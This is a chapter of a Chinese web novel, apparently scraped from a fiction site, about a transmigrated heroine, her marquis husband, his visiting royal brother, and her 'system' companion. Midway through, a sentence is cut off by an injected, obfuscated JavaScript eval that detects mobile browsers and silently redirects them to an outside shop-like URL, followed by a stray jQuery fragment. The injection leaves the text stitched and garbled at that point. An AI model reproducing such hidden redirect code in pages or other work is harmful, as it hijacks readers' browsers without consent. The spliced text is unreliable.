秋则辛把呈上来的桂花酥端至阳钰身前,好让她先垫垫肚子,接着不紧不慢道:“屏岚城十六年前便已是昭元国领土,皇兄莫不是忘了?”
“我没忘!也绝不可能忘。”井仲黎握紧拳头,沉着声,“九弟虽被封了侯,但也别忘了自己是蒲砂国的人,流的是蒲砂国的血!”
哇塞,道德绑架来了。
阳钰忍不了了,把嘴里的糕点咽下去,抢答:“我家侯爷六岁就被迫离开故土,当年仲黎殿下怎么不说这些话?”
秋则辛盯着她坚定的侧脸,忽地心中一动。
她说的是“我家”……
她会不会也对我……
如此想着,秋则辛放在身侧的手心虚握,破天荒地稍稍走神。
井仲黎一时语塞,叹了口气,转而道:“九弟应当知晓如今屏岚城是谁在驻守罢?”
秋则辛迅速回神,似乎想到了什么,淡淡道:“应骁将军。”
嗯?是谁来着……
阳钰绞尽脑汁思来想去。
哦对!好像是我那个驻守边疆的四哥。
提及真正目的,井仲黎欲言又止,瞅了眼满脸好奇的阳钰。
最会看人眼色的阳钰心领神会,“呃……要不我回避一下?”
她说着,正准备起身,手腕被一只有力的大手轻轻握住。
“不必。”秋则辛的语调不高不低,“夫人不是外人。”
闻言,阳钰满足地坐回席上,只是耳根子悄无声息地红了。
他说我不是外人诶!嘿嘿~
嘶……我在嘿嘿什么?有点出息啊喂!
看着对面二人之间不言而喻的气氛,井仲黎挑了挑眉,“那我就直言了。”
他正色道:“屏岚城外有一伙叛军,常年在两国之间流窜,扰乱边境商贩,我国想派兵剿匪,恐怕会越境……”
“所以,皇兄想让我游说应将军给你们开放一条通道?”秋则辛从容不迫地打断。
井仲黎眼前一亮,“正是。”
岂料秋则辛的语气拐了个弯,只道两个字:“麻烦。”
空气顿时降至冰点,阳钰甚至都不敢大喘气。
这拒绝得也干脆了,不过确实没道理帮啊。
想着,阳钰果断站队秋则辛,还往他身侧偷偷挪了挪,试图表忠心。
井仲黎盯着她,打起了什么主意,勾起一抹笑,似有若无地夸张道:“扰乱两国贸易确实不怎么重要,但,边境的百姓们着实受苦,甚至家破人亡,妻离子散,唉!死的死伤的伤……”
阳钰虎躯一震,她这人别的不说,共情能力最强了。
啊这……啧,真是城门失火殃及池鱼。
井仲黎的笑意更深,因为他的目的达到了。
显然没意识到自己上套了,阳钰绞了绞手指,咬了咬下唇,张了张嘴,却依然没说出口。
哎呀我总不能强求秋则辛跟我有一样的感受吧,他都说麻烦了那肯定是不想的,可是那些无辜百姓……
秋则辛的余光里全是阳钰犹豫不决的神情,还时不时偷瞄他几眼,惹得他眼底划过一丝无奈,转而道:“我会让手底下的人快马加鞭送一封密信给应将军,将军脾气暴躁了些,不过为人忠厚,定会应允此事。”
“真的吗!”阳钰的反应比井仲黎还快,还激动。
“嗯,一言既出驷马难追。”秋则辛撑着下颚,又淡淡道:“左右不过是欠下应将军一个人情,夫人满意便好。”
才发现自己过于明显,阳钰不好意思地挠了挠后脑勺,颇有种得了便宜还卖乖的感觉。
这样的她也很新奇,秋则辛索性偏过脸看,仿佛怎么看都看不够。
“咳。”井仲黎把拳头放在嘴边假咳吸引注意,有些为难,“其实,我还望九弟能亲自去一趟屏岚城。”
阳钰满脸困惑,秋则辛早有预料,却没着急接话。
于是乎,井仲黎开门见山道:“皇姐又跑来昭元游玩了,可这段时日你们那老皇帝重新上朝后把边境封锁,我与皇姐已失联数十日,此次趁中秋宴来访,我留在皇城终于打探到她的踪迹……”
“不会就在屏岚城吧?”阳钰接话。
井仲黎点点头,又摇摇头,“虽然可能性很大,但终归是猜测。”
阳钰又道:“那你直接在回国路上顺路找呗。”
井仲黎摇了摇头,“万万不可,皇姐出行总不带随从,连暗卫都跟不上她,要是大张旗鼓寻她,恐怕会打草惊蛇引起不轨之人留意,以防不测还是请九弟亲自去一趟屏岚城。”
秋则辛垂着幽冷的眼眸,答非所问道:“方才皇兄说只有一事相求,眼下……”
他的意思不言而喻,井仲黎心知肚明却依旧装糊涂,咬牙道:“永茗长公主可是你的亲皇姐啊!”
“是么?”秋则辛的声线凛然,反道:“不如皇兄亲自去问她认不认我这个皇弟,毕竟自从母后意外薨逝我来到昭元,十六年来各自杳无音信。”
井仲黎无奈道:“六岁的你亲眼目睹现场,皇姐倒的毒酒是证据确凿,她那年才十岁,即使没查到真凶,这些年她也实在不知如何面对你。”
从刚才开始,阳钰的下巴就没合上过,简直是大为震惊。
我勒个去,好像知道了什么不得了的事情。
见秋则辛仍是态度强硬,井仲黎终究还是松口了,“若九弟应下此事,日后你回到蒲砂国,无论何事我定会相助。”
秋则辛摩挲着手衣边缘,半遮半掩道:“皇兄在说什么,臣弟不知。”
听到久违的自称,井仲黎顿时安心,笑道:“远在另一片国土得知皇弟被封侯的讯息,我便料定你有朝一日会……”
“会夺回属于自己的一切?”阳钰忍俊不禁,陡然有种白月光回国的既视感。
井仲黎点了点头,突然对她刮目相看,“虽与弟妹相识不久,不过你似乎并不似传闻那般智昏菽麦,倒是我中秋那日言重了,望弟妹海涵。”
嘁,咋又是传闻?能不能传点好的?!
阳钰抽了抽嘴角,无语凝噎只能尬笑两声。
·
内侍把酒菜一一呈上,秋则辛默默把那盘椒盐辣子鸡端至疯狂吞口水的阳钰面前。
井仲黎惊讶道:“弟妹能吃……”
见阳钰迫不及待地生吃一颗红椒,他把剩下的关心话咽了回去。
井仲黎瞧了瞧桌案上一大半加麻加辣的菜系,他这位皇弟可是从小就不喜辣,现在却……
秋则辛没有动筷,而是盛了碗豆腐鱼羹,不是给自己的,又默默放到阳钰手边。
阳钰吃着吃着,被辣得稍微遭不住,顺手端起旁边放凉的鱼羹就喝,解辣之后继续闷头吃,浑然不觉鱼羹一直在续。
看完全程的井仲黎缄默无言,明明没吃几口却觉得已经饱腹了,调笑道:“原以为九弟与弟妹只是相敬如宾没什么感情,如今看来又是我想错了。”
阳钰吃饱喝足,又顺手接过凭空出现的帕子擦嘴,听到他这话,愣了愣,“殿下何出此言?”
见她依旧一脸天真单纯,井仲黎哑然失笑,“恕我收回半柱香前的某句话,弟妹有时还真是傻得可爱。”
闻言,秋则辛的眼神暗了暗。
没等阳钰反应过来,她身子一歪,忽地被轻轻拥入温凉的怀抱里,鼻尖萦绕着熟悉的松柏香,她眨巴眨巴眼睛。
诶?
她的头顶传来清冽的嗓音——
“我与夫人伉俪情深,不劳皇兄费心。”
……?
脸颊紧贴着秋则辛结实的胸膛,阳钰的大脑飞速运转,分不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497639|202575||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
清耳畔心跳声是自己的还是对方的,总之升温比反应来得快。
……!
等等,既不是我脚滑,也不是意外,我、我我现在是被秋则辛主动抱了?!
回过神的阳钰小脸通红,下意识又想弹开,但猛然想起不能驳了秋则辛的面子,演戏就要演全套,于是她心安理得,又往怀中微微贴了贴。
不知是她举止太过热烈,还是其它什么原因,秋则辛忽然一僵,神情也变得不自然。
“咳咳!”井仲黎实在受不了二人的腻歪劲儿,反正事情算是谈妥了,他也没道理多留,起身道:“时候不早了,马车还在府外等候返程蒲砂国,我先行一步,就此别过。”
秋则辛依然端坐着,甚至不太敢动,只是微微点头示意,目送井仲黎离开侧殿后,他低头道:“夫人……睡着了么?”
闻言,阳钰猛地睁开眼,赶紧从捂热的怀里离开,语无伦次道:“不好意思哈,给我吃晕碳了。”
“夫人所指的‘晕碳’是何意?”秋则辛拢了拢徒留余温的衣袖。
“呃……”阳钰再次懊恼恨不得打自己的嘴,“就是吃困了的意思。”
“哦?”秋则辛的心绪闪过些许复杂,“夫人总会说些常人意想不到的话语,令我也感到惊奇,夫人是从何处学来的?”
不儿,咋这次追问得这么狠?!
阳钰磕磕巴巴半天一时找不到理由,急中生智道:“是……是我的贴身婢女教我的,她、她老家的土话是这样的。”
接着,她又自圆自说:“还有那些武功、钓鱼、栽花……乱七八糟之类的,全是拾幺教我的,她见识比较广,我、我乐于好学而已。”
话音刚落,侧殿门口远远传来打喷嚏声。
秋则辛轻轻点头,似乎接受了这个理由。
见状,阳钰稍微松了口气,借口午休,着急忙慌地逃离侧殿,生怕又被问住。
·
午后,侯府西院的耳房内。
“我是真不擅长说谎啊!”
阳钰仰天长啸。
幸好屋子里隔音还挺好,外面传不了多远,不过里头的某系统就“遭殃”了。
拾幺习惯性捂住耳朵,“停停停,至少你非常出色地完成了任务。”
随后,她切换机械音播报:“恭喜宿主签到成功!成功翻倍获得10天寿命和40积分,现剩余寿命15天,总积分121。”
“啊嘞?”阳钰一脸懵,“我啥时候做的任……”
回想起刚才的情形,她一怔,呆呆道:“对哦,好像是完成了。”
“你……抱了那么久,不会压根没想起来做任务吧?”拾幺一言难尽。
阳钰嘟了嘟小嘴,心虚道:“怎么会呢?我怎、怎么可能会忘记做如此重要的任务,你可别开玩笑了哈哈……”
“我开透视隔着木窗观望了全程,没见你有做任务的心思。”拾幺憋着笑。
阳钰差点给她跪了,“好我承认!我就是忘了,你可千万别说出去!”
拾幺绷不住了,笑道:“我能说出去什么?说你一脸花痴?还是你吃晕碳了差点睡人家筠清侯怀里?”
阳钰生涩地捂住脸颊,漏一双粉红的耳尖在外,闷声道:“哎呀!你忍心让宿主如此尴尬吗?!”
“忍心呵呵呵——”拾幺从来没笑过这么久,人类感官差点失调,她默不作声地收了收情绪,又道:“毕竟某位宿主已经让我顶了好几口‘锅’。”
阳钰身形一颤,瞬间理不直气不壮,挤眉弄眼道:“抱歉啦~”
拾幺无奈道:“自从那天你收拾完刺客让我顶替后,我就料到会有今天,算了,反正也没什么问题。”
“对呀对呀!”
阳钰连连附和。
应该出不了什么大事。